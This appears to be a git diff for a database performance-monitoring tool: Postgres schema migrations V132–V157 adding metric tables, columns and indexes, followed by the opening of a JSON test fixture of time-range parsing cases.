+   alteration CREATE OR REPLACE VIEW permits, which is exactly what an ADD COLUMN produces. */
+CREATE OR REPLACE VIEW collect.v_perfmon_stats AS SELECT * FROM collect.perfmon_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (132, 'perfmon-counter-type', now()::timestamp);
+-- ===BATCH=== V133 pg-numbackends-and-sampled-ms
+
+ALTER TABLE collect.pg_database_stats
+    ADD COLUMN IF NOT EXISTS numbackends integer;
+
+ALTER TABLE collect.pg_wait_sampling
+    ADD COLUMN IF NOT EXISTS sampled_ms integer;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (133, 'pg-numbackends-and-sampled-ms', now()::timestamp);
+-- ===BATCH=== V134 time-honesty
+
+ALTER TABLE collect.cpu_utilization_stats
+    ADD COLUMN IF NOT EXISTS sample_time_utc timestamp;
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so the passthrough would keep serving the
+   pre-V134 column list forever — the V14 lesson, restated by V80, V81, V127, V128 and V132. Appending is
+   the one alteration CREATE OR REPLACE VIEW permits, which is exactly what an ADD COLUMN produces. */
+CREATE OR REPLACE VIEW collect.v_cpu_utilization_stats AS SELECT * FROM collect.cpu_utilization_stats;
+
+/* server_properties has no v_ passthrough (V16), so this ALTER stands alone. */
+ALTER TABLE collect.server_properties
+    ADD COLUMN IF NOT EXISTS time_zone_id text;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (134, 'time-honesty', now()::timestamp);
+-- ===BATCH=== V135 lrq-exclusion-knob
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS long_running_query_excluded_program_name_prefixes text[] NOT NULL
+        DEFAULT ARRAY['SQLAgent - TSQL JobStep']::text[];
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS long_running_query_excluded_logins text[] NOT NULL
+        DEFAULT ARRAY['NT AUTHORITY\SYSTEM', 'NT AUTHORITY\NETWORK SERVICE']::text[];
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (135, 'lrq-exclusion-knob', now()::timestamp);
+-- ===BATCH=== V136 pg-database-size-and-host-memory
+
+CREATE TABLE IF NOT EXISTS collect.pg_database_size_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    size_bytes bigint,
+    total_bytes bigint,
+    is_template boolean,
+    allows_connections boolean
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_database_size_stats_time
+    ON collect.pg_database_size_stats(server_id, collection_time);
+
+ALTER TABLE collect.pg_cpu_utilization
+    ADD COLUMN IF NOT EXISTS memory_total_bytes bigint,
+    ADD COLUMN IF NOT EXISTS memory_free_bytes bigint,
+    ADD COLUMN IF NOT EXISTS memory_cached_bytes bigint,
+    ADD COLUMN IF NOT EXISTS memory_buffers_bytes bigint,
+    ADD COLUMN IF NOT EXISTS memory_active_bytes bigint,
+    ADD COLUMN IF NOT EXISTS configured_memory_bytes bigint;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (136, 'pg-database-size-and-host-memory', now()::timestamp);
+-- ===BATCH=== V137 qs-capture-mode-route-knob-toast-utilisation
+
+ALTER TABLE collect.query_store_health
+    ADD COLUMN IF NOT EXISTS query_capture_mode text,
+    ADD COLUMN IF NOT EXISTS wait_stats_capture_mode text;
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so the passthrough would keep serving the
+   pre-V137 column list forever — the V14 lesson, restated by V80, V81, V127, V128, V132 and V134. Appending
+   is the one alteration CREATE OR REPLACE VIEW permits, which is exactly what an ADD COLUMN produces. */
+CREATE OR REPLACE VIEW collect.v_query_store_health AS SELECT * FROM collect.query_store_health;
+
+/* config_alert_settings has no v_ passthrough (V17), so this ALTER stands alone. Nullable on purpose and
+   nothing fills it: NULL is a value here (not set in the store; the file-level knob governs), which is what
+   every existing store reads the morning after the upgrade. */
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS analysis_uncorroborated_route text;
+
+/* The CHECK the numeric knobs on this row do without: a route has no clamp, and an unrecognised
+   spelling would read as the shipped route rather than as an error. V62's guard, because ADD CONSTRAINT
+   has no IF NOT EXISTS. */
+DO $$
+BEGIN
+    IF NOT EXISTS (
+        SELECT 1 FROM pg_constraint
+        WHERE conname = 'config_alert_settings_analysis_uncorroborated_route_check'
+    ) THEN
+        ALTER TABLE config.config_alert_settings
+            ADD CONSTRAINT config_alert_settings_analysis_uncorroborated_route_check
+            CHECK (analysis_uncorroborated_route IS NULL OR analysis_uncorroborated_route IN ('digest', 'page'));
+    END IF;
+END $$;
+
+/* store_metrics is a plain table with no v_ passthrough (V53), so this ALTER stands alone too. The first two
+   are filled only on object_kind = 'dimension' rows; toast_live_bytes is written NULL until the maintainer
+   decides how live bytes are measured (the rung doc carries the rig numbers). The last three belong to the
+   object_kind = 'checkpointer' row #3783's code half will write — deltas since the previous run of the
+   checkpointer's write-phase ms, sync-phase ms and requested-checkpoint count — and are NULL until then. */
+ALTER TABLE collect.store_metrics
+    ADD COLUMN IF NOT EXISTS toast_bytes bigint,
+    ADD COLUMN IF NOT EXISTS toast_live_bytes bigint,
+    ADD COLUMN IF NOT EXISTS checkpoint_write_ms bigint,
+    ADD COLUMN IF NOT EXISTS checkpoint_sync_ms bigint,
+    ADD COLUMN IF NOT EXISTS checkpoints_requested bigint;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (137, 'qs-capture-mode-route-knob-toast-utilisation', now()::timestamp);
+-- ===BATCH=== V138 pg-server-config-database-role-overrides
+
+/* Nullable, no DEFAULT, no backfill: catalog-only on a compressed hypertable (the V127/V128/V132/V133/V134/
+   V137 shape on 2.28.1), and NULL already means what every pre-rung row is — a server-wide pg_settings row.
+   pg_server_config has no v_ passthrough (V102 creates none, PgSchemaGenerator.AllPassthroughViews agrees),
+   so the V14 frozen-column-list refresh does not apply here. Appended LAST, matching the collector's payload
+   order, so the positional COPY writer and an upgraded store's column order agree. */
+ALTER TABLE collect.pg_server_config
+    ADD COLUMN IF NOT EXISTS database_name text,
+    ADD COLUMN IF NOT EXISTS role_name text;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (138, 'pg-server-config-database-role-overrides', now()::timestamp);
+-- ===BATCH=== V139 postmaster-start-time
+
+/* store_metrics is a plain table with no v_ passthrough (V53). Filled on the object_kind = 'checkpointer' row only,
+   NULL on every other kind by the table's per-kind convention. Nullable, no DEFAULT, no backfill: a pre-rung row
+   cannot know which postmaster wrote it, and NULL is what the restart rule reads as no evidence. */
+ALTER TABLE collect.store_metrics
+    ADD COLUMN IF NOT EXISTS postmaster_start_time timestamp;
+
+/* pg_write_stats is a compressed hypertable on the fleet; a nullable, default-less ADD COLUMN is catalog-only there
+   (the V127/V128/V133/V137/V138 shape). No v_ passthrough, so no view refresh. Appended LAST, matching the
+   collector's payload order, so the positional COPY writer and an upgraded store's column order agree. */
+ALTER TABLE collect.pg_write_stats
+    ADD COLUMN IF NOT EXISTS postmaster_start_time timestamp;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (139, 'postmaster-start-time', now()::timestamp);
+-- ===BATCH=== V140 checkpointer-timed-count
+
+/* store_metrics is a plain table with no v_ passthrough (V53). Filled on the object_kind = 'checkpointer' row
+   only, NULL on every other kind by the table's per-kind convention. Nullable, no DEFAULT, no backfill: a
+   pre-rung row cannot know how many checkpoints were timed, and NULL is what the average-per-checkpoint rule
+   reads as unmeasured rather than zero. */
+ALTER TABLE collect.store_metrics
+    ADD COLUMN IF NOT EXISTS checkpoints_timed bigint;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (140, 'checkpointer-timed-count', now()::timestamp);
+-- ===BATCH=== V141 collection-caveats
+
+CREATE TABLE IF NOT EXISTS collect.analysis_collection_caveats
+(
+    server_id integer NOT NULL,
+    family text NOT NULL,
+    reason text NOT NULL,
+    first_seen_utc timestamp NOT NULL,
+    last_seen_utc timestamp NOT NULL,
+    CONSTRAINT pk_analysis_collection_caveats PRIMARY KEY (server_id, family)
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (141, 'collection-caveats', now()::timestamp);
+-- ===BATCH=== V142 index-object-stats-server-time
+
+CREATE INDEX IF NOT EXISTS idx_index_object_stats_server_time ON collect.index_object_stats (server_id, collection_time DESC);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (142, 'index-object-stats-server-time', now()::timestamp);
+-- ===BATCH=== V143 query-store-interval-latest
+
+/* One row per Regular Query Store interval identity: the raw dedup's GROUP BY plus server_id. Types and nullability
+   mirror query_store_stats exactly, so no row raw accepts can be refused here. fillfactor 50 keeps the open
+   interval's refreshes HOT (measured, #3953). */
+CREATE TABLE IF NOT EXISTS collect.query_store_interval_latest
+(
+    server_id integer NOT NULL,
+    database_name text,
+    query_id bigint,
+    plan_id bigint,
+    replica_role text,
+    runtime_stats_interval_id bigint,
+    first_execution_time timestamp NOT NULL,
+    collection_time timestamp NOT NULL,
+    query_plan_hash text,
+    query_hash text,
+    execution_count bigint,
+    avg_cpu_time_us bigint,
+    avg_duration_us bigint,
+    last_execution_time timestamp,
+    is_forced_plan boolean,
+    force_failure_count bigint,
+    query_text text
+)
+WITH (fillfactor = 50);
+
+/* NULLS NOT DISTINCT: replica_role is NULL off an availability group, and a NULL-role re-collection must update its
+   row, not insert a second one. Column order is the writer's locality, not the reader's. */
+CREATE UNIQUE INDEX IF NOT EXISTS ux_query_store_interval_latest
+ON collect.query_store_interval_latest
+(
+    server_id,
+    database_name,
+    runtime_stats_interval_id,
+    plan_id,
+    query_id,
+    replica_role,
+    first_execution_time
+)
+NULLS NOT DISTINCT;
+
+/* Per server: every raw snapshot at or after filled_since is represented (except the pending batches), and
+   applied_through is the newest batch accounted for. */
+CREATE TABLE IF NOT EXISTS collect.query_store_interval_latest_coverage
+(
+    server_id integer NOT NULL,
+    filled_since timestamp NOT NULL,
+    applied_through timestamp NOT NULL,
+    CONSTRAINT pk_query_store_interval_latest_coverage PRIMARY KEY (server_id)
+);
+
+/* One row per raw batch whose apply failed; it commits with that batch's raw rows, and the next apply for the
+   server replays it. Empty in steady state. */
+CREATE TABLE IF NOT EXISTS collect.query_store_interval_latest_pending
+(
+    server_id integer NOT NULL,
+    collection_time timestamp NOT NULL,
+    database_name text NOT NULL,
+    recorded_at timestamp NOT NULL,
+    failure text,
+    CONSTRAINT pk_query_store_interval_latest_pending PRIMARY KEY (server_id, collection_time, database_name)
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (143, 'query-store-interval-latest', now()::timestamp);
+-- ===BATCH=== V144 raw-chunk-interval-rung-history
+
+CREATE TABLE IF NOT EXISTS collect.raw_chunk_interval_rung_history
+(
+    changed_at timestamp NOT NULL,
+    table_name text NOT NULL,
+    from_interval_hours integer NOT NULL,
+    to_interval_hours integer NOT NULL,
+    reason text NOT NULL,
+    ingest_bytes_per_hour double precision NOT NULL,
+    budget_bytes double precision NOT NULL,
+    store_total_bytes double precision NOT NULL
+);
+
+CREATE INDEX IF NOT EXISTS idx_raw_chunk_interval_rung_history_table_time
+    ON collect.raw_chunk_interval_rung_history(table_name, changed_at DESC);
+
+CREATE TABLE IF NOT EXISTS collect.raw_chunk_interval_reconcile_runs
+(
+    run_at timestamp NOT NULL,
+    wal_bytes numeric
+);
+
+CREATE INDEX IF NOT EXISTS idx_raw_chunk_interval_reconcile_runs_time
+    ON collect.raw_chunk_interval_reconcile_runs(run_at);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (144, 'raw-chunk-interval-rung-history', now()::timestamp);
+-- ===BATCH=== V145 query-store-interval-wide
+
+/* One row per Query Store interval identity, every outcome. Types and nullability mirror query_store_stats except
+   first_execution_time, which stays NOT NULL here (M2, ruled): the writer's IS NOT NULL filter and coverage-reset
+   safeguard mean the table never silently drops a row raw accepted. fillfactor 50 keeps the open interval's
+   refreshes HOT, as V143's. */
+CREATE TABLE IF NOT EXISTS collect.query_store_interval_wide
+(
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    database_name text,
+    query_id bigint,
+    plan_id bigint,
+    execution_type_desc text,
+    first_execution_time timestamp NOT NULL,
+    last_execution_time timestamp,
+    module_name text,
+    query_text text,
+    query_hash text,
+    execution_count bigint,
+    avg_duration_us bigint,
+    min_duration_us bigint,
+    max_duration_us bigint,
+    avg_cpu_time_us bigint,
+    min_cpu_time_us bigint,
+    max_cpu_time_us bigint,
+    avg_logical_io_reads bigint,
+    min_logical_io_reads bigint,
+    max_logical_io_reads bigint,
+    avg_logical_io_writes bigint,
+    min_logical_io_writes bigint,
+    max_logical_io_writes bigint,
+    avg_physical_io_reads bigint,
+    min_physical_io_reads bigint,
+    max_physical_io_reads bigint,
+    avg_clr_time_us bigint,
+    min_clr_time_us bigint,
+    max_clr_time_us bigint,
+    min_dop bigint,
+    max_dop bigint,
+    avg_query_max_used_memory bigint,
+    min_query_max_used_memory bigint,
+    max_query_max_used_memory bigint,
+    avg_rowcount bigint,
+    min_rowcount bigint,
+    max_rowcount bigint,
+    avg_num_physical_io_reads bigint,
+    min_num_physical_io_reads bigint,
+    max_num_physical_io_reads bigint,
+    avg_log_bytes_used bigint,
+    min_log_bytes_used bigint,
+    max_log_bytes_used bigint,
+    avg_tempdb_space_used bigint,
+    min_tempdb_space_used bigint,
+    max_tempdb_space_used bigint,
+    plan_type text,
+    plan_forcing_type text,
+    is_forced_plan boolean,
+    force_failure_count bigint,
+    last_force_failure_reason text,
+    compatibility_level integer,
+    query_plan_hash text,
+    replica_role text,
+    runtime_stats_interval_id bigint,
+    interval_start_time_utc timestamp
+)
+WITH (fillfactor = 50);
+
+/* NULLS NOT DISTINCT, same reason as V143's: replica_role is NULL off an availability group. execution_type_desc
+   joins the identity because this table, unlike V143's, holds every outcome. No secondary index (F1, measured). */
+CREATE UNIQUE INDEX IF NOT EXISTS ux_query_store_interval_wide
+ON collect.query_store_interval_wide
+(
+    server_id,
+    database_name,
+    runtime_stats_interval_id,
+    plan_id,
+    query_id,
+    replica_role,
+    first_execution_time,
+    execution_type_desc
+)
+NULLS NOT DISTINCT;
+
+/* Column-for-column copy of V143's coverage table: this table's own claim, independent of V143's. */
+CREATE TABLE IF NOT EXISTS collect.query_store_interval_wide_coverage
+(
+    server_id integer NOT NULL,
+    filled_since timestamp NOT NULL,
+    applied_through timestamp NOT NULL,
+    CONSTRAINT pk_query_store_interval_wide_coverage PRIMARY KEY (server_id)
+);
+
+/* Column-for-column copy of V143's pending table: one row per raw batch whose apply to THIS table failed. */
+CREATE TABLE IF NOT EXISTS collect.query_store_interval_wide_pending
+(
+    server_id integer NOT NULL,
+    collection_time timestamp NOT NULL,
+    database_name text NOT NULL,
+    recorded_at timestamp NOT NULL,
+    failure text,
+    CONSTRAINT pk_query_store_interval_wide_pending PRIMARY KEY (server_id, collection_time, database_name)
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (145, 'query-store-interval-wide', now()::timestamp);
+-- ===BATCH=== V146 managed-conf-verdicts
+
+CREATE TABLE IF NOT EXISTS collect.managed_conf_verdicts
+(
+    setting_name text NOT NULL,
+    current_value text NOT NULL,
+    derived_value text NOT NULL,
+    source_description text NOT NULL,
+    source_file text,
+    source_line integer,
+    verdict text NOT NULL,
+    detail text,
+    computed_at timestamp NOT NULL,
+    postmaster_start_time timestamp NOT NULL,
+    CONSTRAINT pk_managed_conf_verdicts PRIMARY KEY (setting_name)
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (146, 'managed-conf-verdicts', now()::timestamp);
+-- ===BATCH=== V147 compose-statement-timeout-sixty
+
+ALTER TABLE config.config_service ALTER COLUMN compose_statement_timeout_seconds SET DEFAULT 60;
+UPDATE config.config_service SET compose_statement_timeout_seconds = 60 WHERE compose_statement_timeout_seconds = 15;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (147, 'compose-statement-timeout-sixty', now()::timestamp);
+-- ===BATCH=== V148 read-latency
+
+CREATE TABLE IF NOT EXISTS collect.read_latency
+(
+    metric_time timestamp NOT NULL,
+    surface text NOT NULL,
+    route text NOT NULL,
+    outcome text NOT NULL,
+    run_count integer NOT NULL,
+    total_ms bigint NOT NULL,
+    max_ms bigint NOT NULL,
+    bucket_counts bigint[] NOT NULL,
+    PRIMARY KEY (metric_time, surface, route, outcome)
+);
+
+CREATE INDEX IF NOT EXISTS idx_read_latency_time
+    ON collect.read_latency(metric_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (148, 'read-latency', now()::timestamp);
+-- ===BATCH=== V149 query-store-liveness-hot-touch
+
+DROP INDEX IF EXISTS collect.idx_query_store_plan_map_last_seen;
+DROP INDEX IF EXISTS collect.idx_query_store_text_last_seen;
+ALTER TABLE collect.query_store_plan_map SET (fillfactor = 90);
+ALTER TABLE collect.query_store_text SET (fillfactor = 90);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (149, 'query-store-liveness-hot-touch', now()::timestamp);
+-- ===BATCH=== V150 collection-log-watermark-and-job-history-indexes
+
+CREATE INDEX IF NOT EXISTS idx_collection_log_watermark
+    ON collect.collection_log (server_id, collector_name, collection_time DESC);
+CREATE INDEX IF NOT EXISTS idx_job_history_server_run
+    ON collect.job_history (server_id, run_datetime DESC, instance_id DESC);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (150, 'collection-log-watermark-and-job-history-indexes', now()::timestamp);
+-- ===BATCH=== V151 ag-group-id
+
+ALTER TABLE collect.ag_replica_states
+    ADD COLUMN IF NOT EXISTS group_id text;
+
+ALTER TABLE collect.ag_database_replica_states
+    ADD COLUMN IF NOT EXISTS group_id text;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (151, 'ag-group-id', now()::timestamp);
+-- ===BATCH=== V152 drop-unread-cagg-group-indexes
+
+SET LOCAL lock_timeout = '280s';
+DO $$
+DECLARE
+    v_view text;
+    v_drop_cols text[];
+    v_mat_schema text;
+    v_mat_table text;
+    v_mat_oid regclass;
+    r record;
+BEGIN
+    /* timescaledb_information only exists once the extension has been created, and this runs on stores
+       where it never was -- reaching it unconditionally raises 42P01. Probed with to_regclass (NULL rather
+       than an error when absent); no extension means there are no continuous aggregates and so no rollup
+       group indexes to drop, which makes this rung a no-op there. The per-view read below goes through
+       EXECUTE so the timescaledb_information reference is parsed only when it runs. */
+    IF to_regclass('timescaledb_information.continuous_aggregates') IS NULL THEN
+        RETURN;
+    END IF;
+
+    FOR v_view, v_drop_cols IN VALUES
+        ('query_store_stats_hourly',          ARRAY['database_name', 'module_name', 'query_hash']),
+        ('query_store_stats_corrected_hourly', ARRAY['database_name', 'module_name', 'query_hash']),
+        ('query_store_stats_daily',           ARRAY['database_name', 'module_name', 'query_hash', 'server_name']),
+        ('query_store_stats_corrected_daily',  ARRAY['database_name', 'module_name', 'query_hash', 'server_name']),
+        ('query_store_stats_interval_daily',   ARRAY['database_name', 'execution_type_desc', 'first_execution_time', 'module_name', 'plan_id', 'query_hash', 'query_id', 'replica_role', 'runtime_stats_interval_id', 'server_name']),
+        ('query_store_stats_daygrain_daily',   ARRAY['database_name', 'module_name', 'query_hash', 'server_name'])
+    LOOP
+        EXECUTE 'SELECT materialization_hypertable_schema, materialization_hypertable_name
+                 FROM timescaledb_information.continuous_aggregates
+                 WHERE view_schema = ''collect'' AND view_name = $1'
+        INTO v_mat_schema, v_mat_table
+        USING v_view;
+
+        IF v_mat_table IS NULL THEN
+            CONTINUE;
+        END IF;
+
+        v_mat_oid := format('%I.%I', v_mat_schema, v_mat_table)::regclass;
+
+        FOR r IN
+            SELECT i.indexrelid::regclass AS idx
+            FROM pg_index i
+            JOIN pg_attribute a1 ON a1.attrelid = i.indrelid AND a1.attnum = i.indkey[0]
+            JOIN pg_attribute a2 ON a2.attrelid = i.indrelid AND a2.attnum = i.indkey[1]
+            WHERE i.indrelid = v_mat_oid
+            AND   i.indnkeyatts = 2
+            AND   NOT i.indisunique
+            AND   a1.attname = ANY (v_drop_cols)
+            AND   a2.attname = 'bucket'
+        LOOP
+            EXECUTE format('DROP INDEX IF EXISTS %s', r.idx);
+        END LOOP;
+    END LOOP;
+END $$;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (152, 'drop-unread-cagg-group-indexes', now()::timestamp);
+-- ===BATCH=== V153 interval-tables-first-exec-index
+
+SET LOCAL lock_timeout = '280s';
+SET LOCAL max_parallel_maintenance_workers = 2;
+CREATE INDEX IF NOT EXISTS idx_query_store_interval_latest_first_exec
+ON collect.query_store_interval_latest (first_execution_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (153, 'interval-tables-first-exec-index', now()::timestamp);
+-- ===BATCH=== V154 interval-tables-wide-first-exec-index
+
+SET LOCAL lock_timeout = '280s';
+SET LOCAL max_parallel_maintenance_workers = 2;
+CREATE INDEX IF NOT EXISTS idx_query_store_interval_wide_first_exec
+ON collect.query_store_interval_wide (first_execution_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (154, 'interval-tables-wide-first-exec-index', now()::timestamp);
+-- ===BATCH=== V155 query-store-interval-end
+
+ALTER TABLE collect.query_store_stats ADD COLUMN IF NOT EXISTS interval_end_time_utc timestamp;
+ALTER TABLE collect.query_store_interval_wide ADD COLUMN IF NOT EXISTS interval_end_time_utc timestamp;
+CREATE OR REPLACE VIEW v_query_store_stats AS SELECT * FROM query_store_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (155, 'query-store-interval-end', now()::timestamp);
+-- ===BATCH=== V156 checkpoint-longest-sync
+
+/* store_metrics is a plain table with no v_ passthrough (V53). Filled on the object_kind = 'checkpointer' row only,
+   NULL on every other kind by the table's per-kind convention, and NULL there too when the sampler took no
+   difference in the hour. Nullable, no DEFAULT, no backfill: a pre-rung row cannot know what the sampler saw, and
+   NULL is what the reader judges as no evidence. The stamp is naive UTC. */
+ALTER TABLE collect.store_metrics
+    ADD COLUMN IF NOT EXISTS checkpoint_longest_sync_ms bigint,
+    ADD COLUMN IF NOT EXISTS checkpoint_longest_sync_at timestamp;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (156, 'checkpoint-longest-sync', now()::timestamp);
+-- ===BATCH=== V157 mute-rule-server-id
+ALTER TABLE config.config_mute_rules ADD COLUMN IF NOT EXISTS server_id integer;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (157, 'mute-rule-server-id', now()::timestamp);
diff --git a/Darling/Darling.Tests/Fixtures/time-range-cases.json b/Darling/Darling.Tests/Fixtures/time-range-cases.json
new file mode 100644
index 0000000000..b0376869c7
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/time-range-cases.json
@@ -0,0 +1,1149 @@
+{
+ "_doc": [
+  "Shared cases for the time range grammar (#5562). The C# parser (PerformanceMonitor.Ui TimeRangeParser) and the web module (time-range.js) must both produce every row here.",
+  "Zone ids are IANA names (America/New_York, UTC, Asia/Kolkata, Australia/Sydney): .NET resolves them through ICU and Node through Intl. Do not use Windows ids.",
+  "All instants are ISO 8601 UTC with a trailing Z. 'now' is the clock the case is resolved at; nothing reads the machine's clock.",
+  "'start' and 'end' are the resolved instants (end is now for a live range). 'live' is true when the end slides with now. 'echo' is the exact label text the picker shows. 'error' is a stable code; the message text is not compared unless the row also carries errorMessage, the exact words both front ends must give.",
+  "Typed wall times use the earliest instant for a start and the latest for an end (a repeated hour widens; a skipped time maps to the change instant). Nm/Nh/Nd are real elapsed time. Calendar periods use wall-clock midnights in the zone and weeks start Monday. 1mo is 30 real days.",
+  "Echo format: '<length>  <start> - <end> (<zone>)'. Length is Nd (floored) for a day or more, else 'Hh Mm' with zero parts dropped. A bound is 'Mon D, h:mm am|pm' (English month abbreviations, lower-case am/pm), with ', YYYY' after the day when either end is not in now's year, ':ss' for typed/unix ranges when the seconds are not zero, and ' +hh:mm' appended to a bound whose wall time happens twice. Zone is 'UTC-04:00' or 'UTC-05:00 to UTC-04:00' when the ends differ."
+ ],
+ "minimumSpanMinutes": 5,
+ "cases": [
+  {
+   "name": "relative 45m",
+   "input": "45m",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T10:16:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "45m  Oct 8, 6:16 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative 12 hours",
+   "input": "12 hours",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-07T23:01:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "12h  Oct 7, 7:01 pm - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative 10d",
+   "input": "10d",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-09-28T11:01:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "10d  Sep 28, 7:01 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative 2 weeks",
+   "input": "2 weeks",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-09-24T11:01:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "14d  Sep 24, 7:01 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative last 3 days",
+   "input": "last 3 days",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-05T11:01:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "3d  Oct 5, 7:01 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative past 90 min",
+   "input": "Past 90 Min",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T09:31:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "1h 30m  Oct 8, 5:31 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative 1.5 hours",
+   "input": "1.5 hours",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T09:31:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "1h 30m  Oct 8, 5:31 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative 1mo is 30 real days",
+   "input": "1mo",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-09-08T11:01:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "30d  Sep 8, 7:01 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative 1 month typed in full",
+   "input": "1 month",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-09-08T11:01:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "30d  Sep 8, 7:01 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative spaces and case",
+   "input": "   12   HOURS ",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-07T23:01:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "12h  Oct 7, 7:01 pm - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "relative 5m is the floor",
+   "input": "5m",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T10:56:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "5m  Oct 8, 6:56 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "last month",
+   "input": "last month",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-09-01T04:00:00Z",
+   "end": "2026-10-01T04:00:00Z",
+   "live": false,
+   "echo": "30d  Sep 1, 12:00 am - Oct 1, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "previous month typed out",
+   "input": "Previous Month",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-09-01T04:00:00Z",
+   "end": "2026-10-01T04:00:00Z",
+   "live": false,
+   "echo": "30d  Sep 1, 12:00 am - Oct 1, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "yesterday",
+   "input": "yesterday",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-07T04:00:00Z",
+   "end": "2026-10-08T04:00:00Z",
+   "live": false,
+   "echo": "1d  Oct 7, 12:00 am - Oct 8, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "today",
+   "input": "today",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T04:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "7h 1m  Oct 8, 12:00 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "week to date starts Monday",
+   "input": "week to date",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-05T04:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "3d  Oct 5, 12:00 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "this week",
+   "input": "this week",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
